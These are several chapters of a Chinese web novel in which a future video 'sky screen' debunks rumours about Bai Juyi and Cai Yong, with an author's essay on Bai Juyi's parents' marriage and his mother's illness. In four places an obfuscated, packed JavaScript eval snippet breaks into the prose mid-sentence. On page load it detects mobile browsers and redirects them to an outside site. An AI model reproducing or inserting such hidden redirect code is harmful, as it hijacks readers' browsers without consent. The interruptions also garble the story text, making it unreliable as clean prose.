白敏中当宰相时,崔慎猷说“近日中书尽是蕃人”,指明白敏中是胡人后裔。白居易向名将白起拉的关系最终还是没能骗过当代人——虽然他也没骗过后来人。② 李商隐写白居易墓志时,落笔即是“公之先世,用谈说闻”,可见在他眼里,白氏祖宗传承故事口口相传,没有记载印证,极不靠谱。 唉!白居易你辛辛苦苦写《故巩县令白府君事状》,编出一套祖宗传承,最后居然连你的“莫逆”、“忘年之交”李商隐都没骗过啊!】 “乐天竟然也是胡人?” 白居易挪过僵硬的脖子,看向元稹。他听着元稹说洛阳元氏是鲜卑后裔,如今听闻乐天竟也是胡裔,感到亲近。 可洛阳元氏是北魏皇族,背景深厚,他龟兹白氏又算是什么呢? 不过是西域撮尔小国的血脉。 他们的姓氏是东汉赐的,国家是吕光灭的,族人是西突厥接纳的。他们还没有有名的先祖,这在重视门第的朝廷是多大的劣势! 对唐人而言,至少得有一个有名的祖宗,才能在对着他人吹嘘自己家族时不被别人看轻,或在仕途上引着先人故交或先人崇拜者投下短短一瞥。 朝堂的事一个萝卜一个坑,多在别人面前留点印象……万一有坑时别人就想起你这根萝卜了呢? 只不过现在这些事情应该能有改善。有了他这么一个能叫的上号的先人,后代大概不会如此狼狈。 白居易心思百转,去答了元稹的话。 战国,秦相魏冉笑着拍打白起的肩膀:“真是少年英才!当年我举荐你去伊阙,你大破韩魏联军。今天听天幕所说,你的成就定不止于此,才让那千百年后的白居易拼着要当你的后代!” 听到“名将白起”,白起耳热心热。秦国鼓励士卒争军功,自变法后又多遭六国忌惮,故少不了与六国的战争。他知道自己已经崭露头角,必有用武之地,可这终究是只一种预感,如何比得上后世对他的肯定! “名将”,那竟是他的未来。 秦王嬴稷一抬眼,看飞鸟掠过天幕,得一名将的喜悦也随飞鸟越升越高。 只是魏冉那个老东西着实烦人。 他的将领,不劳舅父把持。 【不过虽然堂弟背刺,当代人还不信“白起后代说”,白居易的自述依然被《新唐书·宰相世系表》挑拣着采信了。 白居易自称自己是从楚逃秦的芈姓公族白乙丙的后人,秦将白起后裔。他说秦始皇把白起后人封到太原而有了白居易这一支,又浓墨重彩地介绍了先祖北齐兵部尚书白建。 《新唐书·宰相世系表》则说,白居易是姬姓百里奚后裔,百里奚后裔白乙丙是白居易先祖,之后叙述和白居易自述大差不差。 白居易呀……虽然欧阳修觉得你是姬姓,你自己觉得你是芈姓,但好歹人家愿意上溯到你编的白乙丙,不像别人,最多只上溯到白建。 知足吧白居易!】 秦始皇…… 三皇五帝,乃传说中的圣人。一时之间,战国诸王人人自危,只怕秦军天降,把自己的国家灭了。 虎狼暴秦还能养出圣人吗?秦军勇猛,若再碰上一个圣人般的秦王,刚柔并济,他们的国还能不亡吗? 秦始皇本人听闻此言,却皱起眉头。 他问李斯:“朕有将白起后人封到太原吗?” 李斯答:“未有。” “天幕说的极是,白居易这所谓追溯信不得。” 【四十年代初,姚薇元先生撰写《北朝胡姓考》,重申了这个问题。他提出白居易之“白”应当为龟兹白氏,是东汉朝廷指龟兹境内白山对龟兹王室所赐之汉姓。 姚先生还指出,白敏中所自称的“十姓胡”,应当是西突厥十姓,“第六胡”就是龟兹国灭后投奔突厥形成的鼠尼施部。 《隋书·龟兹传》也说,“其王姓白,曰苏尼咥”。苏尼咥与鼠尼施读音相近,可能是同一部落。西突厥收留龟兹遗民时,按照当时龟兹王的名字命名了这个部族。】 “西突厥里……确实有这个族。” 有了上回在群臣面前被直臣感动到哭泣的前车之鉴,李世民这回看天幕只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15150873|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邀了妻子儿女,和几个信任的大臣。 东突厥刚灭,颉利可汗被俘虏到长安。他观突厥人的态度,不见什么故国之思,只为臣服于更强大的可汗而高兴。 颉利可汗更是不顾自己的国家刚灭,在宴席上跳起了舞! 唐人宴席邀舞,受邀方一般不能拒绝,宴席上舞蹈更代表着宾主尽欢,颉利可汗跳舞于大唐更是极有脸面的事。 可……颉利可汗到底记不记得他当年还逼着新生的大唐订下渭水之盟? 短短几年间攻守异位,他不含辱,不怨恨,反而高兴到李世民只能想到一句话。 “此间乐,不思蜀。” 李世民把两岁的李治抱到腿上,捏了两把儿子还带着婴儿肥的脸,在儿子含糊不清的抗议声中说:“雉奴,这颉利可汗居然学刘禅!” 他沉吟一会儿,又道:“就算乐不思蜀是刘阿斗演的,对忠臣良将也过分了。” 【陈寅恪先生为白居易籍贯研究写下了至关重要的最后一笔。 他认为,由《北梦琐言》、《唐摭言》推断白居易是龟兹白氏出生并不严谨,我们缺失白居易先祖内迁中原的环节考证。 中国历史里多有胡人世代居于中国而被中国文化接纳的范例,中国的种族之分也大多是依据所接受的文化而非血统。 所以陈先生认为,“元微之出于鲜卑,白乐天出于西域,固非妄说,却为赘论也。” 有人说,中华民族是最可怕的民族。别的民族来和我们打仗,要么打不赢,要么打赢了以后被中华民族同化。 陈寅恪先生说的没错,白居易是否出自龟兹白氏,其实并不妨碍我们去接纳他,热爱他,看他的诗文隔着时空和我们对话。 他已经是我们民族骨血中的一部分了。 好啦今天白居易的辟谣就讲到这里啦~谢谢大家~一键三连不要忘了哦~】 天幕熄灭,白云散去,白居易仍沉迷于天幕跨越时间的宏大话语里,直到被自己的眼泪唤醒。 仿佛被无数双手拖举着,他身轻而胸膛炽热。先前被说与李杜比肩时心太乱,现在静下来听后人说,真是…… 千言万语,千头万绪。后人的信任和推崇叫他脑热而心惊,胸腔叫喊着要做出些什么,必不负此世后世重托。 天幕只说他非白起之后,实际上白建也是他附会的先祖。过去他要靠这些虚假的先祖给自己荫蔽,现在他想要长成参天大树,给他人遮风挡雨。 他想要和天幕口中的他一样,走进历史的骨血里,以骨髓血肉哺养百姓。 待百姓安,天下安,再谋升平千载、文章百年。 20.(不搞怪的)间章 李纯很生气。 上回元稹的天幕告诉了他未来的政局,更给了他防范自己死亡的机会。 他逐方士、抑宦官,听到白居易的名字后满心期待天幕能给他带来些新的启示,谁知天幕就真的只讲了白居易的假风流韵事! 半分都不涉及未来的政局! 李纯深吸一口气,打开小天幕,开始他的第一份ky功业。 —— 听闻圣人看完天幕便派人把自己的母亲接来长安,白居易先感到的竟不是喜悦,而是天将降大任于斯人也的苦其心志。 他带着白行简,走进长安的小巷。那里的人牙子们带着面黄肌瘦的货物,拉起瘦骨的大手丰满圆润。 一时间,白居易又想写诗了。 “官人,你看这个,现在瘦了点,养养就又是个美人!” 白居易推开肥厚的手,不去看女孩渴望的眼神,只道:“要两个力气大的。” 力气大,才能让母亲在发病的时候活下来。 符离到长安的路是白居易走过的,故而他估了时间。新人到家后几天,便是他老母来的时候。 这次陈元华只带了个仆妇。婆子因是地方上雇的,在当地自有家庭。陈元华上京,她也就赚完钱回家去了。 白居易把新人交托给仆妇,觑着仆妇不耐的样子,只得趁着母亲不在叹一口气。 久病床前无孝子,何况仆人?陈元华闹自杀实在太频繁了。 得用钱用身契去吊着人。 他母亲还要活着呢! 白居易踱步到门前,将要推门,又听外面响起笃笃敲门声。 门房因为要请健妇被裁了,白居易就自己推门,见到元稹携母亲妻子来拜见。 “二郎!”后面仆妇再叫,白居易应声。仆妇的声音与他也算很熟了,现在悠闲的样子,不像是母亲又发病,只是一些吃喝的小事。 果不其然,仆妇来说刚上灶的那个新人做的菜有点色香,但无味,打算让新人看陈元华,自己上灶去。 白居易断然拒绝,他不敢把自己亲娘放到几个没经验的人手上。仆妇嘀嘀咕咕跑了。 “二郎?”元稹忍着笑,“你不是白二十二吗?” 白居易道:“那是族里排名,在家里我就是二郎。” “那知退就是三郎?” “噫,元九,那是白二十三。” “别叫我元九,我是元四。” 白居易笑着推了元稹一下。 元稹笑得更开心了。 …… 元白关系好,元白的母亲们也常走动。郑兰芝常常觑着陈元华无聊,就会把她拉到韦夏卿旧宅和段荷与书籍作伴。 韦夏卿生前还是把段荷扶正了。段荷照顾了韦家十几年,如果韦夏卿不表示什么,郑兰芝就看不起他了。 还是那句话,妾通买卖啊! 韦夏卿没有男孩,他死后,家里就剩下一个寡妇一个出嫁女。京兆韦氏龙门公房虽然是豪族,可谁会嫌弃自己家里钱不够多? 不过是朱门士族吃绝户吃得好看点。 于是,前太子太保、东都留守韦夏卿的大宅子就变成了京兆韦氏龙门公房的学塾,后院仍是段荷的,却又分走了一块给学塾的人住。 郑兰芝提议段荷往京兆尹告,好好告他们一个侵吞官员家产。段荷倒摆摆手,对着太阳说这还不错。 “兰芝你不知道村里!村里吃绝户,还多得是在灵堂上就逼着立嗣发嫁寡妇的。 大人生前就没几个钱,书倒买了一大堆,现在我还在这里,手里有大人那些钱,只是把前面宅子和书舍给他们,也不算是太丧良心啦!” 郑兰芝讪讪。她以为她受过白眼、讨过食就是经历过人间疾苦,却不知她还在朱门之中。 “阿荷你也给我讲讲农村的事吧。” “好啊,我都快记不住了。我十二三就跟着大人了……” 郑兰芝于是拉着陈元华在僻静的角落里看书,另一边设了几案,哗哗的是学子的翻书声和抄录声,又有几声议论从外入内,议论的是从内而外。 英明的圣人又裁了宦官了! 圣人被蒙蔽了,居然提拔女人,不顾天地阴阳! “圣人一定是英明的,做错了事一定是被蒙蔽的。无上英明的人居然也会被蒙蔽啊……” 陈元华勾起嘴角,额头受了郑兰芝一击。 “郑娘子!” 郑兰芝忙着给被打痛的书籍呼呼,没空理她。 “我听段娘子说,郑娘子是最守礼的……” 郑兰芝疑惑抬头,见陈元华已经凑了上来。她凑得极近,嘴唇开合,嘴角含笑,眼神怔怔。 “我与我丈夫是舅甥成婚,你会讨厌……” 她突然软倒下去,露出后面的仆妇。仆妇也不尴尬,只说要管住这样的娘子,必然要有点绝技的。 陈元华被脖子固定住的手掉下去,露出一片青紫。 …… “为什么我要嫁给……那是我舅舅啊!我们差了……26岁呢!” “你舅舅是个好人,能照顾好你。” “……” …… “为什么你们要逼我嫁给舅舅,让我日日被骂不知廉耻,背井离乡搬去符离?” “我日日操劳替家管帐,帮家里在符离站稳脚跟。明明上山下乡辛劳不如那些农妇,却偏偏是我子宫掉落,染一身产病。上天为何如此待我?” “所幸我生的都是儿子,没人会受和我一样的苦。可儿子要娶妻,要生子,我岂不是又害了好人家的姑娘?” “但没有血脉留下去,我要怎么留下活过的痕迹!” “千年万年后,我要怎么说我来过?” …… “你儿子的诗歌,可是传到了千年万年后啊。看到儿子这么出息,你可放心了?” 千年万年后……诗歌…… 诗歌! …… 陈元华惊醒。她睁不开眼睛,虚浮在空中听着窗前的一切。 她听着乐天向郑娘子说娘又自杀了,抱歉添了麻烦。 她听着知退要来给她脖颈上敷热水,不久后脖子真的又重又热。 她听到有人——一大群人凑到她床前,七嘴八舌说话。她看到黑压压的头,看到光。 原来她醒了。 …… 又是韦家书屋,前面是郑兰芝,后面仆妇紧盯着,不敢分神。 仆妇这次是真不敢走神了。上回想着前面有郑娘子,她可以放松些,谁知道她一放松,夫人真的差点死了啊! 她竖高了耳朵听夫人的动静,却只听到韦家子弟议论国政,说宦官们贼心不死,不好好尊奉圣人便罢,居然叛乱! 好在圣上东宫时的亲信宦官吐突承璀还算忠诚,早早告密。圣上也不亏待功臣,让他当富家翁去了。 现在宦官乱平,圣上更是英明神武,往宦官们平时的位置塞了仕林的人,还将二王八司马的“不许量移”诏给废了。 他们叨叨讲完后又点评两句,说就知道圣上不允许二王八司马量移的本心不是要在烟瘴之地挫磨他们,是宦官厌恶自己被排斥,才给二王八司马上了这一层刑! 不知什么时候圣上能再英明神武一回,把那群女人黜了,调和阴阳。 仆妇听得无聊。她只觉得他们像村里灵前争产的那几个儿子。 “礼是为了让我自己过得好的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15173179|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼死人的礼不该在我这里。” 突然,她听到郑兰芝这么说。 她看到陈元华陡然亮起的双眼。 …… 郑兰芝约了陈元华往外面走,陈元华赴约一看,段荷和韦丛也在。 几个家在长安的女眷齐了,不知道要往哪里去,要做什么。 她皱眉看去,平时常常傻开心的段荷还是笑的,韦丛更是年轻不知愁一样。 她最庄重,她就不笑! 郑兰芝带着她们往道观里去,拜完一圈后,她们到了一座新铸的神像前。 “临水娘娘?她是……” 段荷不知其解,陈元华懵懵懂懂。郑兰芝轻笑一声,给她们讲这位新神的故事。 临水娘娘本名陈靖姑,幼年便学习道法,婚后在闽江降妖除魔,治病救人,尤其擅长救助妇女难产,当地人称她为“救产护胎佑民女神”。 贞元六年,闽江大旱,陈靖姑不顾怀有身孕,与民众奔走抗旱,终使天落雨。百姓莫不感其功德,她却因孕期操劳过度,难产而亡,时年24。 陈靖姑弥留之际,曾高呼:“吾死后,不救世产难,不神也。”人们为她修祠立庙,奉为临水娘娘,几年前闽地风靡的信仰如今传入了长安,也在这都城安枕。 “兰芝带我们来这里……”段荷自以为得了郑兰芝的意,“阿丛,你去拜拜,求娘娘让孩子能养得下来吧。” 陈元华则道:“阿荷,我们还要为茂之求产后身体没什么毛病。” 段荷怔住了。她没有生过孩子,从来只听说女人生产是过鬼门关,却不知道这鬼门关是怎样的光景。她急急拉住韦丛的手:“阿丛还好吗?” 韦丛清咳几声,面生红晕,求助般看向郑兰芝。 另一边的陈元华嗤笑:“段娘子,你也是女人,怎么和男人一样不懂女人!怀孩子的时候容易吐,鼻子堵、脱发……” “这我知道!”段荷急急道,“阿丛坐月子也是我陪的她!” 陈元华又笑:“生完孩子后,会漏尿、尿痛、关节痛、腰痛、胸胀、阴/道撕裂、肛/裂、子宫脱落……” 段荷瞪圆了眼睛,仔细看看韦丛,见她的眼睛也越来越大——可陈元华刚开始时报的那几个病,她并不惊讶! “阿丛受苦了……”段荷想把韦丛揽进怀里,却被韦丛慢慢推开。 韦丛盯着陈元华,颤声问:“伯母,你后面说的……都是真的吗?” 陈元华扬眉吐气:“自然,这都是老人们的经验。” “好啦。”郑兰芝走上前,拍拍韦丛肩膀,踏上门前的台阶,“我们去拜见临水娘娘,也为元华未来的媳妇拜拜。” 段荷揽住韦丛。 陈元华迅速上前。 出了殿,郑兰芝问陈元华许了什么愿。陈元华看着隔栏的花枝喃喃,郑兰芝只听出她好像说的是“我要看花”。 郑兰芝莞尔:“这里花遍地都是,何必许这么一个愿望!” 陈元华不高兴了。她嘴唇一闭一张,清晰吐出了方才的话。 “我要开花!” 她跃入盛夏的花海中。 …… 白居易下朝了。他想起今天给母亲的诗歌还没写完,松快的心情又被压住了。 不知道最近母亲是怎么了,竟然给他定了课业,要他每天写出几首歌颂她的诗歌,还天天自己检查! 那精神头简直不像是一个老人! 白居易提笔,磨牙。偶尔要写一首命题诗歌他可以,但要日日写相同的主题,每天换着不同花样夸同一个人,那简直是要命! 他放下笔,又提起笔,落笔即是“微之微之”。 他不管了!他要找代笔! 21.科普番外(1)[番外] (枯燥考证预警) 关于白居易父母婚姻 白居易父母婚姻共有三种观点,首先我们要看三种观点的共同论据:《唐故坊州鄜城县尉陈府君夫人白氏墓志铭》(以下简称《白氏墓志铭》)节选 “夫人大原白氏,其出昌黎韩氏,其适颍川陈氏,享年七十。唐和州都督讳士通之曾孙,尚衣奉御讳志善之元孙,都官郎中讳温之孙,延安令讳锽之第某女,韩城令讳钦之外孙,故鄜城尉讳润之夫人,故颍川县君之母,故大理少卿襄州别驾讳季庚之姑,前京兆府户曹参军翰林学士白居易、前秘书省校书郎行简之外祖母也。” 从上面这一段我们能短暂捋捋白居易的祖宗们,同时通过《襄州别驾府君事状》(白季庚墓志铭)和《故巩县令白府君事状》(白锽墓志铭)印证。 白居易父系:【尚衣奉御】白志善-【和州都督】白士通-【都官郎中】白温-【延安令】白锽-【大理少卿襄州别驾】白季庚-白居易 (kimi一开始跟我说白志善是白士通的儿子!倒反天罡!) 白居易母系之父系:陈璋-陈润(婚太原白氏)-白母陈氏-白居易 白居易母系之母系:韩钦-昌黎韩氏嫁太原白氏-祖母白氏嫁颍川陈氏,小于白季庚2岁-白母陈氏-白居易 这里就有一个问题。根据《白氏墓志铭》,祖母白氏既可以和白锽平辈(故大理少卿襄州别驾讳季庚之姑) 又可以和白季庚平辈(延安令讳锽之第某女) 白锽和白季庚是父子,这里必然有一个平辈是错的。 观点1:亲舅甥婚 支持者:罗振玉、陈寅恪、顾学颉 罗振玉首先根据《白氏墓志铭》提出这一观点。陈寅恪认为白居易写外祖母是白季庚之姑与上文世系表冲突,是为了掩人耳目。唐朝也排斥亲舅甥婚,白家舅甥婚可能是因为西域胡姓旧俗残留。 陈寅恪又根据结婚时白季庚41,白母陈氏15提出结婚年龄不正常,唐朝人不应该41岁才初婚。又因为白居易没记载可能有的父亲原配,陈寅恪怀疑白居易父母婚配有难言之隐。 观点2:中表婚(表兄妹婚) 支持者:岑仲勉、陈之卓 岑仲勉认为唐朝亲舅甥婚明确犯法,《白氏墓志铭》中的“第某女”则是“女弟”之误,所以白氏与白季庚是姑侄关系,白季庚和白母陈氏应为表兄妹。 顾学颉提出反对。他引用《白氏墓志铭》中的“惟夫人在家以和顺奉父母,故延安君(白锽)视之如子”;又说“延安终,夫人哀毁过礼,为孝女”。所以白氏是白锽的女儿是“明白无误”的。 岑仲勉继续举证据。他说白氏母亲是昌黎韩氏,但白锽妻子是出自河东薛氏,所以白氏应该不是白锽之女。(我:?那续弦怎么算?) 顾学颉十动然拒。他说韩氏可能是白锽的继室或侧室,这些不足以动摇他举的证据。 80年代,陈之卓写文支持岑仲勉。他提出据白季庚墓志铭和《白氏墓志铭》,白季庚之母河东薛氏,而白氏母昌黎韩氏,所以白季庚与白氏非一母所生。他考定韩氏非白锽继室,也非妾媵、外室,判断“白季庚之父巩县令白锽与陈夫人之父延安令,不是同一人 ”。 他说延安令应讳“湟”,是白锽之叔,与白居易曾祖父白温同辈。湟、锽二字在唐代读音不同,不犯家讳。到了宋代,湟、锽二字同音,宋人为避叔、侄同名,改“湟”为“锽”,将两人合为一人,造成白氏世系的紊乱。 所以延安令白湟与韩钦女所生白氏与白居易祖父巩县令白锽为从兄妹,白季庚与白母陈氏是中表婚。 观点3:从舅甥婚 支持者:平冈武夫 平冈武夫《白居易的家庭环境问题》提出《白氏墓志铭的“季庚之姑”,应当同日本左蓬文库本,作“季庚之外姑”。 他还认为“延安令讳锽之第某女”一句有误,“锽”字当是金字旁某字之误,白氏之父是白温六子之一,娶韩氏,生女嫁鄜城尉陈润,为陈白氏。白居易父母乃从舅甥婚配,而非亲舅甥为婚。 (作者碎碎念: 是的,我怀疑“延安令讳锽之第某女”原来应该是“延安令讳锽之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175505|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟某女”! 如果是从舅甥婚,就能解释白季庚和白母陈氏能在禁止亲舅甥婚的唐朝成功结婚。 “惟夫人在家以和顺奉父母,故延安君(白锽)视之如子”和“延安终,夫人哀毁过礼,为孝女”这两句,也可以解释为“视之如子”(因为本来是侄女)和“为孝(侄)女”。 按照中表婚说的兄妹,这“为孝女”多少诡异了。 从舅甥婚也可以解释为什么白季庚母亲为河东薛氏而白氏母亲为昌黎韩氏,因为他们本来就不是亲兄妹嘛。 而《白氏墓志铭》里,也只有“延安令讳锽之第某女”一句格式与其他明显不同。如果白氏真是白锽之女,为什么不写成“延安令讳锽之女”? 但这种说法最大的疑点就是为什么白氏自己的墓志铭里居然没亲爹的名字。 以上仅是作者猜测,大家随意看看) 关于白母陈氏精神状态 根据白居易《伤远行赋》、《奏陈情状》,白母陈氏自从贞元十年白季庚去世后,一直到元和六年去世,支持家庭,操劳过度,一直有病。 白居易晚年与僧如满交好,僧如满的弟子又与高彦休交好。高彦休在《唐阙史》中写白母陈氏有“心疾”,“忧愤发狂,以苇刀自刭”,应该是有依据的。 白母陈氏死因“因看花堕井而死”也出自《唐阙史》。 陈寅恪猜测,白母陈氏的精神病可能是因为婚配不合礼法,导致她以悍妒著名,最后发狂自杀。 另:白居易在父亲白季庚墓志铭里把母亲称为“孝女”、“顺妇”、“慈母”,不过墓志铭这种东西基本都是要把人往死里夸的,未必能信。 真要看能多往死里夸的请看渣渣贺兰敏之的生平和他的墓志铭。 关于韦夏卿的孩子 其实按照“谢公最小偏怜女”,韦丛应该不是独生女,只是韦夏卿最小的女儿,但是!作者搜不出韦夏卿其他子嗣任何相关资料! 于是文中就私设韦丛是韦夏卿唯一一个活下来的孩子。 (懒得把上一章重新过审一遍,塞这篇里了) 22.陆游(蔡邕?)(1) 陈钰给自己泡了一杯茶,回忆刚才的梦境。 她在一片黑暗里,恍惚看到一抹光穿过头顶的黑暗照进来,伴着一种莫名的喊叫——或者一种是陌生语言。 声音越来越远,头上的光被驱逐,颗粒窸窸窣窣砸在身上。 土是松软的,天气是温暖的,这是适合发芽的时候。 她聚集身上的力量,往上冲,却发现体内空空如也。 ……只是原来她也是一抔土。 没有人来探秘,没有人发现这撮土的异样。 陈钰不去想梦境,章鱼一样趴在桌上。 “今天心情不好,不看论文了吧。” —— 白居易的天幕影响远不如元稹的大。 虽说白居易的知名度比元稹要大得多,历代文人也因同情白居易身陷谣言常发议论,可白居易的谣言终究少了点历史积淀,大部分是现代人的发明。 文人要为元稹的所有谣言去修改史书笔记,却只需要为白居易改动笔记中“诗杀”关盼盼的那几笔。 其中又少有污蔑好人的悔恨,取而代之的是对后人轻侮文宗的义愤填膺。 再往古代看,天幕的影响更少。人们都不知道天幕讲的是什么人、什么事。天幕反响平平,只是闲人茶余饭后的调剂。 但也有人忠实记录,只待后人打开竹简,指纹交叠间把天幕奉作神话—— 子不语怪力乱神。 东汉末,蔡邕在续写汉明帝时所著《东观汉记》时,加上了天幕的故事。 小女蔡琰被他带在身旁,借《东观汉记》学习。蔡邕见女儿才三四岁便已经能背诵他人七八岁还未必能懂的书籍,直叹女儿不是男儿身! 女儿入不了朝廷,未来这一身才学便只能像班昭一样著书立言,或像钟无盐一样为国诤谏。 蔡邕不禁回想,光和元年他曾上谏陛下勿让妇人、宦官干预政事。但若他将女儿教成品行高尚的才媛,她是否能效班昭与和熹皇后邓绥事,入宫为后妃教学,养出一个能正本清源的太后? 女人干预政务固然不好,可政局黑暗,官吏一层一层压在百姓之上。如果能求得一个有为之主能匡扶汉室,女人…… 蔡邕想到了这流放之地村口的天幕神像。听不出天幕也有所惧、有所限的人们依照天幕的女音,修了一尊泥胎女神像。 那像极丑,能看出性别的地方不过是高高鼓起的胸和孕肚。 可村人过路即拜,拜到村里的大户死了,隐田没人继承,被村人瓜分了。 村人更加乐颠颠供奉“天幕神”,祈求不加赋税,未几却听来朝廷祭祀,要向民加税的噩耗。 蔡邕冷眼看着,天幕之后的人只是后世一人,没有赐福降祸的法门。村人却觉得是自己惹恼了“天幕神”,依旧拿大豆麦麸崇拜供奉,供完分食。 作为主粮的麦子早已向上输税。 此时此地已是民不聊生。 蔡邕扭头去看磕磕巴巴背书的小女儿,竟然笑着摸了她的头,又问:“待你成年,爹爹给你取字昭姬如何?” 蔡琰懵懂看天,正值云天相合,炽光朗照—— “爹爹你看,是天幕!” 【“身后是非谁管得,满村听说蔡中郎。”①或许陆游写下这句话来感叹蔡邕身后名沦落时不会想到,他日后也会陷入与蔡邕一样的风波。 大家好我是辟谣区up主除夕,今天我们要讲讲蔡邕、陆游的谣言,以及一个现在不便明说的big彩蛋~ up直接提蔡邕,大家或许不熟悉,但要提起蔡文姬,大家是不是就想起历史上的著名才女了? 没错,蔡邕就是蔡文姬(蔡昭姬)的父亲。 蔡邕,字伯喈,汉朝名臣,是汉代最后一位辞赋大家,著名才女在汉献帝时曾任中郎将,故后人称他“蔡中郎”。他才华过人,以才名孝名闻名天下,有志匡扶东汉于倾颓,因此多次上谏汉灵帝。 所以,非常合理地,海内名士蔡邕得罪了许多官员。他先被阳球刺杀,再被流放五原郡,最后为避祸远走吴地12年。 后来,董卓乱政。董卓以蔡邕全家性命为逼迫,将他从吴地迎回,作为名士招牌高高供起。王允诛杀董卓后,蔡邕因董卓对他不坏而为他叹了一口气,便被王允当作董卓残党囚死在监狱里。 据说蔡邕死前想效仿司马迁,求以黥面、截断双腿的肉刑代替死刑,写完《东观汉记》。 可他毕竟不是司马迁,王允也没有汉武帝的气量。】 天幕报事,喜忧参半。蔡邕一把抱住未来的才女昭姬,却在女儿的挣扎中听见自己死,大汉困于乱政之中。 蔡琰的挣扎弱了下去。 父亲听到自己死了不开心,那阿琰就勉为其难安慰一下他吧。她想。 可蔡邕的心思已经不在她身上。 献是美谥,意为聪明睿智、博闻多能。皇帝谥号为“献”,当他以为他们能力挽天倾,为大汉搏出一个生机时,一句董卓乱政将他的构想打回原形。 汉光武帝,也没有第二个了。 “爹,娘叫我来看你。”远处一个声音传来,“还全家流放五原郡呢,就听天幕说又是避祸又是死了的……你可还好?” 少女行止带风,糊了蔡琰一脸。蔡琰哭叫着“阿琬”,叫姐姐把她从父亲越箍越紧的怀抱里抠出来。 蔡琬扒开蔡邕手臂,自己抱着蔡琰。她眯起眼睛看哭叫捶地的蔡邕,一吹额前碎发。 蔡邕这个亲爹,志向高远,奈何不会做人。你邀请他作诗写赋指点河山确实能成,但让他于周围人好好处关系,就太强他所难了。 他真有点眼光就不会在董卓仇敌面前惋惜董卓,她和娘也不用为他常得罪人而到处修修补补。 家里清廉,换句话说就是贫穷。蔡邕也不是会盘剥百姓的那种人,故而向上送礼的路子是断的。 剩下的路,就是会交际、能聊天。她们在家里要立起来,在他人面前也要能支撑门庭。 “爹,”蔡琬占了蔡邕原来坐的位置,“你不如和那个元稹结拜吧。名士们互相交流一下得罪所有官员的经验,挺好的。” 【“满村听说蔡中郎”,这是怎么个听法呢?原来陆游路过赵家庄,听到村里盲艺人正在弹唱《赵贞女》,讲述这样的故事: 蔡伯喈进京考中状元后另娶高门,发妻赵贞女在家乡饥荒中独自一人赡养公婆,在公婆死后卖头发凑钱葬了他们。她进京寻失踪已久的丈夫,却遭到了蔡伯喈的拒认和纵马践踏。 最终弃亲背妻的小人蔡伯喈被雷劈死,也算善恶有报。 说到这里,大家应该已经觉得不对了。我们介绍蔡邕时刚刚提到过蔡邕以孝名才名闻名天下,这样一个孝子怎么就在《赵贞女》里弃亲背妻了? 是的,《后汉书·蔡邕列传》记载,母亲生病三年,蔡邕殷勤侍奉,甚至为了照顾母亲70天不睡觉,母亲死后他也在墓旁结庐而居。②《赵贞女》中所说赵贞女独自赡养公婆、母亲死后蔡邕不在身边,是不合史实的。 稍微了解科举史的网友们也应该能找出另一个问题。蔡邕处于东汉末年,那时候的选官制度是举孝廉,什么科举啊状元啊,是要等隋文帝设立分科考试以后,才能有的。 综上所述,《赵贞女》只是宋人所编小说,与历史上的蔡邕毫无关系。】 初听父亲被编入天幕时,蔡琬就提着一口气,只怕天幕给自己编出另一个娘来。 如今另一个娘确实是有了,自己亲爹也变成负心汉了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196518|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的一口气还是堵在胸里不上不下。 有准备接受亲爹被造谣,并不意味着她就不会为爹被污蔑不孝不贞、娘被编出受马践踏而生气! 蔡琰在姐姐怀里一蹦一蹦,蔡琬把她放下,她就在地上乱跑,跑去又跑来把一颗米粒大小的饴糖塞进蔡邕嘴里。 蔡邕正在地上哭得起劲,突然吃了一嘴灰尘,又被塞进一块硬物,一时呛住。 蔡琬赶紧一脚踢到他背上。 “咳咳咳!”蔡邕又咳到哭了,蔡琰也抱着姐姐的腿哭起来。她指着地上落灰的饴糖:“阿姊,爹不开心,我把糖给爹,爹还是不开心!” 她跺着脚大哭:“我的糖没了!爹也没好!” 